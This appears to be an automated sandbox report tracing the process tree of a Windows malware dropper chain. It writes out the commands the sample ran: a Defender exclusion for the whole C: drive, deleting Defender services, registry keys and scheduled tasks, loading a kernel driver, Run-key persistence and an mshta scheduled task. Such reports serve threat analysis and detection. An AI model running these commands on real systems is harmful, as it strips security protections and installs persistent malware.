Token: SeSecurityPrivilege	7044	c4b0b764.exe
Token: SeSystemProfilePrivilege	7044	c4b0b764.exe
Token: SeDebugPrivilege	7044	c4b0b764.exe
Token: SeMachineAccountPrivilege	7044	c4b0b764.exe
Token: SeCreateTokenPrivilege	7044	c4b0b764.exe
Token: SeAssignPrimaryTokenPrivilege	7044	c4b0b764.exe
Token: SeTcbPrivilege	7044	c4b0b764.exe
Token: SeAuditPrivilege	7044	c4b0b764.exe
Token: SeSystemEnvironmentPrivilege	7044	c4b0b764.exe
Token: SeDebugPrivilege	4528	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4860	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
1648	Exam.com
1648	Exam.com
1648	Exam.com

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1648	Exam.com
1648	Exam.com
1648	Exam.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 1872	4860	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe	89
PID 4860 wrote to memory of 1872	4860	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe	89
PID 4860 wrote to memory of 1872	4860	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe	89
PID 1872 wrote to memory of 2008	1872	rapes.exe	98
PID 1872 wrote to memory of 2008	1872	rapes.exe	98
PID 1872 wrote to memory of 2008	1872	rapes.exe	98
PID 2008 wrote to memory of 3940	2008	7b35p_003.exe	99
PID 2008 wrote to memory of 3940	2008	7b35p_003.exe	99
PID 2008 wrote to memory of 720	2008	7b35p_003.exe	101
PID 2008 wrote to memory of 720	2008	7b35p_003.exe	101
PID 3940 wrote to memory of 516	3940	cmd.exe	102
PID 3940 wrote to memory of 516	3940	cmd.exe	102
PID 1872 wrote to memory of 5080	1872	rapes.exe	105
PID 1872 wrote to memory of 5080	1872	rapes.exe	105
PID 1872 wrote to memory of 5080	1872	rapes.exe	105
PID 5080 wrote to memory of 2800	5080	7IIl2eE.exe	106
PID 5080 wrote to memory of 2800	5080	7IIl2eE.exe	106
PID 5080 wrote to memory of 2800	5080	7IIl2eE.exe	106
PID 720 wrote to memory of 840	720	svchost.exe	108
PID 720 wrote to memory of 840	720	svchost.exe	108
PID 720 wrote to memory of 5088	720	svchost.exe	109
PID 720 wrote to memory of 5088	720	svchost.exe	109
PID 1872 wrote to memory of 6076	1872	rapes.exe	113
PID 1872 wrote to memory of 6076	1872	rapes.exe	113
PID 1872 wrote to memory of 6076	1872	rapes.exe	113
PID 1872 wrote to memory of 6896	1872	rapes.exe	116
PID 1872 wrote to memory of 6896	1872	rapes.exe	116
PID 1872 wrote to memory of 6896	1872	rapes.exe	116
PID 6896 wrote to memory of 7304	6896	WLbfHbp.exe	119
PID 6896 wrote to memory of 7304	6896	WLbfHbp.exe	119
PID 6896 wrote to memory of 7304	6896	WLbfHbp.exe	119
PID 5088 wrote to memory of 11084	5088	w32tm.exe	122
PID 5088 wrote to memory of 11084	5088	w32tm.exe	122
PID 5088 wrote to memory of 11084	5088	w32tm.exe	122
PID 1872 wrote to memory of 11868	1872	rapes.exe	123
PID 1872 wrote to memory of 11868	1872	rapes.exe	123
PID 1872 wrote to memory of 11868	1872	rapes.exe	123
PID 11084 wrote to memory of 7044	11084	176e7ff6.exe	124
PID 11084 wrote to memory of 7044	11084	176e7ff6.exe	124
PID 11084 wrote to memory of 7044	11084	176e7ff6.exe	124
PID 7304 wrote to memory of 1564	7304	CMD.exe	125
PID 7304 wrote to memory of 1564	7304	CMD.exe	125
PID 7304 wrote to memory of 1564	7304	CMD.exe	125
PID 7304 wrote to memory of 8120	7304	CMD.exe	126
PID 7304 wrote to memory of 8120	7304	CMD.exe	126
PID 7304 wrote to memory of 8120	7304	CMD.exe	126
PID 7304 wrote to memory of 8244	7304	CMD.exe	127
PID 7304 wrote to memory of 8244	7304	CMD.exe	127
PID 7304 wrote to memory of 8244	7304	CMD.exe	127
PID 7304 wrote to memory of 8300	7304	CMD.exe	128
PID 7304 wrote to memory of 8300	7304	CMD.exe	128
PID 7304 wrote to memory of 8300	7304	CMD.exe	128
PID 7304 wrote to memory of 8548	7304	CMD.exe	129
PID 7304 wrote to memory of 8548	7304	CMD.exe	129
PID 7304 wrote to memory of 8548	7304	CMD.exe	129
PID 7304 wrote to memory of 8688	7304	CMD.exe	130
PID 7304 wrote to memory of 8688	7304	CMD.exe	130
PID 7304 wrote to memory of 8688	7304	CMD.exe	130
PID 7304 wrote to memory of 11008	7304	CMD.exe	131
PID 7304 wrote to memory of 11008	7304	CMD.exe	131
PID 7304 wrote to memory of 11008	7304	CMD.exe	131
PID 7304 wrote to memory of 11516	7304	CMD.exe	132
PID 7304 wrote to memory of 11516	7304	CMD.exe	132
PID 7304 wrote to memory of 11516	7304	CMD.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
"C:\Users\Admin\AppData\Local\Temp\bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
  "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Users\Admin\AppData\Local\Temp\10337510101\7b35p_003.exe
    "C:\Users\Admin\AppData\Local\Temp\10337510101\7b35p_003.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3940
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:516
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      Downloads MZ/PE file
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:720
    - - C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        5⤵
        Executes dropped EXE
        
        PID:840
    - - C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        5⤵
        Deletes itself
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5088
      - C:\Users\Admin\AppData\Local\Temp\{d0367e7b-2d9c-4fb9-8e7a-e5e8798fdf51}\176e7ff6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{d0367e7b-2d9c-4fb9-8e7a-e5e8798fdf51}\176e7ff6.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        6⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:11084
        
        C:\Users\Admin\AppData\Local\Temp\{92a2214d-14ad-4078-a2a4-953d31e55003}\c4b0b764.exe
        
        C:/Users/Admin/AppData/Local/Temp/{92a2214d-14ad-4078-a2a4-953d31e55003}/\c4b0b764.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        7⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Adds Run key to start application
        Enumerates connected drives
        Writes to the Master Boot Record (MBR)
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:7044
- - C:\Users\Admin\AppData\Local\Temp\10337820101\7IIl2eE.exe
    "C:\Users\Admin\AppData\Local\Temp\10337820101\7IIl2eE.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Windows\SysWOW64\CMD.exe
      "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
      4⤵
      System Location Discovery: System Language Discovery
      PID:2800
- - C:\Users\Admin\AppData\Local\Temp\10340260101\7d9b80109e.exe
    "C:\Users\Admin\AppData\Local\Temp\10340260101\7d9b80109e.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:6076
- - C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe
    "C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6896
  - - C:\Windows\SysWOW64\CMD.exe
      "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:7304
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1564
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8120
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:8244
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8300
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 267978
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8548
    - - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Spanish.vss
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8688
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "East" Removed
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:11008
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:11516
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:12780
    - - C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
        
        Exam.com j
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1648
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1648 -s 900
        6⤵
        Program crash
        
        PID:8820
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6284
- - C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
    "C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:11868
- - C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
    "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:6448
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6524
- - C:\Users\Admin\AppData\Local\Temp\10343250101\oalJJxv.exe
    "C:\Users\Admin\AppData\Local\Temp\10343250101\oalJJxv.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:8284
- - C:\Users\Admin\AppData\Local\Temp\10343420101\kZZeUXM.exe
    "C:\Users\Admin\AppData\Local\Temp\10343420101\kZZeUXM.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    PID:8508
  - - C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe
      C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      PID:8864
    - - C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe
        5⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:9168
      - C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe
        6⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:9364
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe
        7⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:9644
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe
        8⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:9908
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe
        9⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:10172
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe
        10⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:10416
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe
        11⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:10704
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe
        12⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:11164
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe
        13⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:11436
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe
        14⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:11708
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe
        15⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:12008
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe
        16⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:5864
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaservice.exe
        17⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:12456
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
        18⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:12744
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe
        19⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:12936
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        20⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:13068
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe
        21⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:13220
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe
        22⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:1724
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe
        23⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:5020
        
        C:\Windows\system32\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javasupport_update.exe"
        24⤵
        Modifies registry key
        
        PID:1996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javasupport_update.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe\"'"
        24⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4528
- - C:\Users\Admin\AppData\Local\Temp\10345050101\apple.exe
    "C:\Users\Admin\AppData\Local\Temp\10345050101\apple.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5724
  - - C:\Users\Admin\AppData\Local\Temp\22.exe
      "C:\Users\Admin\AppData\Local\Temp\22.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6056
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\12E2.tmp\12E3.tmp\12E4.bat C:\Users\Admin\AppData\Local\Temp\22.exe"
        5⤵
        
        PID:2168
      - C:\Users\Admin\AppData\Local\Temp\22.exe
        
        "C:\Users\Admin\AppData\Local\Temp\22.exe" go
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6788
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1CB6.tmp\1CB7.tmp\1CB8.bat C:\Users\Admin\AppData\Local\Temp\22.exe go"
        7⤵
        
        PID:6172
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        8⤵
        Launches sc.exe
        
        PID:7892
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        8⤵
        Launches sc.exe
        
        PID:7868
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:7792
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        8⤵
        Launches sc.exe
        
        PID:1304
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        8⤵
        Launches sc.exe
        
        PID:5220
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5268
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5312
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        8⤵
        Launches sc.exe
        
        PID:8052
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        8⤵
        Launches sc.exe
        
        PID:5400
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        8⤵
        
        PID:8252
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        8⤵
        Launches sc.exe
        
        PID:5440
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        8⤵
        Launches sc.exe
        
        PID:8364
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        8⤵
        
        PID:5476
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        8⤵
        Launches sc.exe
        
        PID:8460
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        8⤵
        Launches sc.exe
        
        PID:8524
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        8⤵
        
        PID:8556
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        8⤵
        Launches sc.exe
        
        PID:8616
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        8⤵
        Launches sc.exe
        
        PID:8640
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        8⤵
        
        PID:8696
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        8⤵
        Launches sc.exe
        
        PID:8772
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        8⤵
        Launches sc.exe
        
        PID:8800
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        8⤵
        
        PID:8908
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        8⤵
        Launches sc.exe
        
        PID:548
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        8⤵
        Launches sc.exe
        
        PID:4916
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        8⤵
        
        PID:5300
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        8⤵
        Launches sc.exe
        
        PID:9236
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        8⤵
        Launches sc.exe
        
        PID:5536
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        8⤵
        
        PID:9308
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        8⤵
        Launches sc.exe
        
        PID:9344
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        8⤵
        Launches sc.exe
        
        PID:8944
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        8⤵
        
        PID:9396
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        8⤵
        Launches sc.exe
        
        PID:9440
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        8⤵
        Launches sc.exe
        
        PID:9468
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        8⤵
        
        PID:5548
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        8⤵
        Launches sc.exe
        
        PID:9556
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        8⤵
        Launches sc.exe
        
        PID:9588
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        8⤵
        
        PID:9616
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        8⤵
        Launches sc.exe
        
        PID:9656
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        8⤵
        Launches sc.exe
        
        PID:9688
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        8⤵
        
        PID:9756
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        8⤵
        Launches sc.exe
        
        PID:9792
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        8⤵
        Launches sc.exe
        
        PID:9828
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        8⤵
        
        PID:9936
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        8⤵
        Launches sc.exe
        
        PID:10020
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        8⤵
        Launches sc.exe
        
        PID:10080
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        8⤵
        
        PID:10116
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        8⤵
        Launches sc.exe
        
        PID:10152
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        8⤵
        Launches sc.exe
        
        PID:10192
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        8⤵
        
        PID:5576
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        8⤵
        Launches sc.exe
        
        PID:10292
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        8⤵
        Launches sc.exe
        
        PID:10316
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        8⤵
        
        PID:10412
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        8⤵
        Launches sc.exe
        
        PID:10460
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        8⤵
        Launches sc.exe
        
        PID:10604
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        8⤵
        
        PID:10812
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        8⤵
        
        PID:11024
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        8⤵
        
        PID:11068
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        8⤵
        
        PID:5644
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        8⤵
        
        PID:11232
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        8⤵
        Launches sc.exe
        
        PID:11524
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        8⤵
        Launches sc.exe
        
        PID:11552
- - C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe
    "C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:7564
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:7704
- - C:\Users\Admin\AppData\Local\Temp\10346100101\1101ae5ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\10346100101\1101ae5ee4.exe"
    3⤵
    PID:10572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 4v9R8ma1r6G /tr "mshta C:\Users\Admin\AppData\Local\Temp\kXjcMnBjU.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      PID:10692
    - - C:\Windows\SysWOW64\schtasks.exe
        
